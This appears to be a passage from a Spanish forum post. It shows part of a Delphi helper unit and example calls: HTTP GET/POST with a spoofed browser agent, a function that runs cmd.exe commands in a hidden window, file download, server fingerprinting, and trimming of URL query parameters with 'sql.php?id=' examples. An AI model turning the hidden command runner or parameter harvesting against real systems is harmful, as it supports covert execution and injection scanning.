        INTERNET_FLAG_RELOAD, 0);

      repeat

      begin
        InternetReadFile(nave2, @codee, SizeOf(codee), tou);
        SetString(codez, PAnsiChar(@codee[0]), tou);
        finalfinal := finalfinal + codez;
      end;

      until tou = 0;

      InternetCloseHandle(nave2);
      InternetCloseHandle(nave1);

      Result := finalfinal;
    end;

  except
    //
  end;
end;

function regex(text: String; deaca: String; hastaaca: String): String;
begin
  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  SetLength(text, AnsiPos(hastaaca, text) - 1);
  Result := text;
end;

function tomar(pagina: string; postdata: AnsiString): string;

// Credits : Based on  : http://tulisanlain.blogspot.com.ar/2012/10/how-to-send-http-post-request-in-delphi.html
// Thanks to Tulisan Lain

const
  accept: packed array [0 .. 1] of LPWSTR = (PChar('*/*'), nil);

var
  nave3: HINTERNET;
  nave4: HINTERNET;
  nave5: HINTERNET;
  todod: array [0 .. 1023] of AnsiChar;
  numberz: Cardinal;
  numberzzz: Cardinal;
  finalfinalfinalfinal: string;

begin

  try

    begin

      finalfinalfinalfinal := '';
      Result := '';

      nave3 := InternetOpen
        (PChar('Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0'),
        INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);

      nave4 := InternetConnect(nave3, PChar(regex(pagina, '://', '/')),
        INTERNET_DEFAULT_HTTP_PORT, nil, nil, INTERNET_SERVICE_HTTP, 0, 1);

      nave5 := HttpOpenRequest(nave4, PChar('POST'), PChar(get_url_file(pagina)
        ), nil, nil, @accept, 0, 1);

      HttpSendRequest(nave5,
        PChar('Content-Type: application/x-www-form-urlencoded'),
        Length('Content-Type: application/x-www-form-urlencoded'),
        PChar(postdata), Length(postdata));

      repeat

      begin

        InternetReadFile(nave5, @todod, SizeOf(todod), numberzzz);

        if numberzzz = SizeOf(todod) then
        begin
          Result := Result + AnsiString(todod);
        end;
        if numberzzz > 0 then
          for numberz := 0 to numberzzz - 1 do
          begin
            finalfinalfinalfinal := finalfinalfinalfinal + todod[numberz];
          end;

      end;

      until numberzzz = 0;

      InternetCloseHandle(nave3);
      InternetCloseHandle(nave4);
      InternetCloseHandle(nave5);

      Result := finalfinalfinalfinal;

    end;

  except
    //
  end;
end;

procedure savefile(filename, texto: string);
var
  ar: TextFile;

begin

  AssignFile(ar, filename);
  FileMode := fmOpenWrite;

  if FileExists(filename) then
    Append(ar)
  else
    Rewrite(ar);

  Write(ar, texto);
  CloseFile(ar);

end;

function read_file(const archivo: TFileName): String;
var
  lista: TStringList;
begin

  if (FileExists(archivo)) then
  begin

    lista := TStringList.Create;
    lista.Loadfromfile(archivo);
    Result := lista.text;
    lista.Free;

  end;
end;

function console(cmd: string): string;
// Credits : Function ejecutar() based in : http://www.delphidabbler.com/tips/61
// Thanks to www.delphidabbler.com

var
  parte1: TSecurityAttributes;
  parte2: TStartupInfo;
  parte3: TProcessInformation;
  parte4: THandle;
  parte5: THandle;
  control2: Boolean;
  contez: array [0 .. 255] of AnsiChar;
  notengoidea: Cardinal;
  fix: Boolean;
  code: string;

begin

  code := '';

  with parte1 do
  begin
    nLength := SizeOf(parte1);
    bInheritHandle := True;
    lpSecurityDescriptor := nil;
  end;

  CreatePipe(parte4, parte5, @parte1, 0);

  with parte2 do
  begin
    FillChar(parte2, SizeOf(parte2), 0);
    cb := SizeOf(parte2);
    dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
    wShowWindow := SW_HIDE;
    hStdInput := GetStdHandle(STD_INPUT_HANDLE);
    hStdOutput := parte5;
    hStdError := parte5;
  end;

  fix := CreateProcess(nil, PChar('cmd.exe /C ' + cmd), nil, nil, True, 0, nil,
    PChar('c:/'), parte2, parte3);

  CloseHandle(parte5);

  if fix then

    repeat

    begin
      control2 := ReadFile(parte4, contez, 255, notengoidea, nil);
    end;

    if notengoidea > 0 then
    begin
      contez[notengoidea] := #0;
      code := code + contez;
    end;

    until not(control2) or (notengoidea = 0);

  Result := code;

end;

function http_finger(page: string): string;
var
  nave: TIdHTTP;
  resultado: string;
begin

  nave := TIdHTTP.Create(nil);
  nave.Request.UserAgent :=
    'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0';
  nave.Get(page);
  resultado := '[+] ' + nave.Response.ResponseText + sLineBreak + '[+] Date : '
    + DateTimeToStr(nave.Response.Date) + sLineBreak + '[+] Server : ' +
    nave.Response.Server + sLineBreak + '[+] Last-Modified : ' +
    DateTimeToStr(nave.Response.LastModified) + sLineBreak + '[+] ETag : ' +
    nave.Response.ETag + sLineBreak + '[+] Accept-Ranges : ' +
    nave.Response.AcceptRanges + sLineBreak + '[+] Content-Length : ' +
    IntToStr(nave.Response.ContentLength) + sLineBreak + '[+] Connection : ' +
    nave.Response.Connection + sLineBreak + '[+] Content-Type : ' +
    nave.Response.ContentType;
  Result := resultado;
end;

function response_code(page: string): string;
var
  nave: TIdHTTP;
  code: string;
begin
  nave := TIdHTTP.Create(nil);
  nave.Request.UserAgent :=
    'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0';
  try
    begin
      nave.Head(page);
      code := IntToStr(nave.ResponseCode);
    end;
  except
    begin
      code := '404';
    end;
  end;
  Result := code;
end;

function clean_list(const list: TList<String>): TList<String>;
var
  lista: TList<String>;
  elemento: string;

begin
  lista := TList<String>.Create;
  for elemento in list do
  begin
    if not lista.Contains(elemento) then
    begin
      lista.Add(elemento);
    end;
  end;
  Result := lista;
end;

function cut_list(const list: TList<String>): TList<String>;
var
  lista: TList<String>;
  elemento: string;
  otralista: TStrings;
begin
  lista := TList<String>.Create;
  for elemento in list do
  begin
    if (Pos('=', elemento) > 0) then
    begin
      otralista := TStringList.Create;
      ExtractStrings(['='], [], PChar(elemento), otralista);
      lista.Add(otralista[0] + '=');
    end;
  end;
  Result := lista;
end;

function download_file(page, save: string): bool;
begin
  UrlDownloadToFile(nil, PChar(page), PChar(save), 0, nil);
  if FileExists(save) then
  begin
    Result := True;
  end
  else
  begin
    Result := False;
  end;
end;

function get_url_file(Url: string): string;
var
  URI: TIdURI;
begin
  URI := TIdURI.Create(Url);
  Result := URI.Document;
end;

function uri_split(Url, opcion: string): string;
var
  URI: TIdURI;
begin
  URI := TIdURI.Create(Url);
  if opcion = 'host' then
  begin
    Result := URI.Host;
  end;
  if opcion = 'port' then
  begin
    Result := URI.Port;
  end;
  if opcion = 'path' then
  begin
    Result := URI.Path;
  end;
  if opcion = 'file' then
  begin
    Result := URI.Document;
  end;
  if opcion = 'query' then
  begin
    Result := URI.Params;
  end;
  if opcion = '' then
  begin
    Result := 'Error';
  end;
end;

function md5_encode(text: string): string;
var
  md5: TIdHashMessageDigest5;
begin
  md5 := TIdHashMessageDigest5.Create;
  Result := LowerCase(md5.HashStringAsHex(text));
end;

function md5_file(const filename: string): string;
var
  md5: TIdHashMessageDigest5;
  stream: TFileStream;
begin
  if (FileExists(filename)) then
  begin
    md5 := TIdHashMessageDigest5.Create;
    stream := TFileStream.Create(filename, fmOpenRead or fmShareDenyWrite);
    Result := LowerCase(md5.HashStreamAsHex(stream));
  end
  else
  begin
    Result := 'Error';
  end;
end;

function resolve_ip(const target: string): string;
var
  socket: TWSAData;
  uno: PHostEnt;
  dos: TInAddr;
  ip: string;
begin
  try
    begin
      WSAStartup($101, socket);
      uno := WinSock.GetHostByName(PAnsiChar(AnsiString(target)));
      dos := PInAddr(uno^.h_Addr_List^)^;
      ip := WinSock.inet_ntoa(dos);
      if ip = '' then
      begin
        Result := 'Error';
      end
      else
      begin
        Result := ip;
      end;
    end;
  except
    Result := 'Error';
  end;
end;

end.

// The End ?

  
  Ejemplos de uso :
  
  
  Código (delphi) [Seleccionar] Expandir
  
unit dh;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, DH_Tools,
  Generics.Collections;

type
  TForm1 = class(TForm)
    Memo1: TMemo;
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var
  paginas: TList<String>;
  pagina: string;
  lista: TList<String>;
  code: string;
begin

  // code := toma('http://localhost/login.php');
  // ShowMessage(code);

  // code := tomar('http://localhost/login.php','usuario=test&password=test&control=Login');
  // ShowMessage(code);

  // savefile('logs.txt','test');

  // code := read_file('logs.txt');
  // ShowMessage(code);

  // code := console('ver');
  // ShowMessage(code);

  // code := http_finger('http://www.petardas.com');
  // ShowMessage(code);

  // code := response_code('http://www.petardas.com');
  // ShowMessage(code);

  {
    paginas := TList<String>.Create;
    paginas.AddRange(['test1', 'test1', 'test3', 'test4', 'test5']);
    lista := clean_list(paginas);

    for pagina in lista do
    begin
    Memo1.Lines.Add('Value : ' + pagina);
    end;
  }

  {
    paginas := TList<String>.Create;
    paginas.AddRange(['http://localhost/sql1.php?id=dsadasad',
    'http://localhost/sql2.php?id=dsadasad',
    'http://localhost/sql3.php?id=dsadasad',
    'http://localhost/sql3.php?id=dsadasad']);
    lista := cut_list(clean_list(paginas));

    for pagina in lista do
    begin
    Memo1.Lines.Add('Value : ' + pagina);
    end;
  }

  {
    if (download_file('http://localhost/test.rar', 'test.rar')) then
    begin
    ShowMessage('Yeah');
    end
    else
    begin
    ShowMessage('Error');
    end;
  }

  // ShowMessage(get_url_file('http://localhost/sql.php?id=dsadsadsa'));

  // ShowMessage(uri_split('http://localhost/sql.php?id=dsadsadd','query'));

  // ShowMessage(md5_encode('123'));

  // ShowMessage(md5_file('c:/xampp/xampp-control.exe'));

  // ShowMessage(resolve_ip('www.petardas.com'));

end;

end.

  
  Eso seria todo.

Un simple programa en Java para hacer un Whois.

Una imagen :



Si lo quieren bajar lo pueden hacer de aca.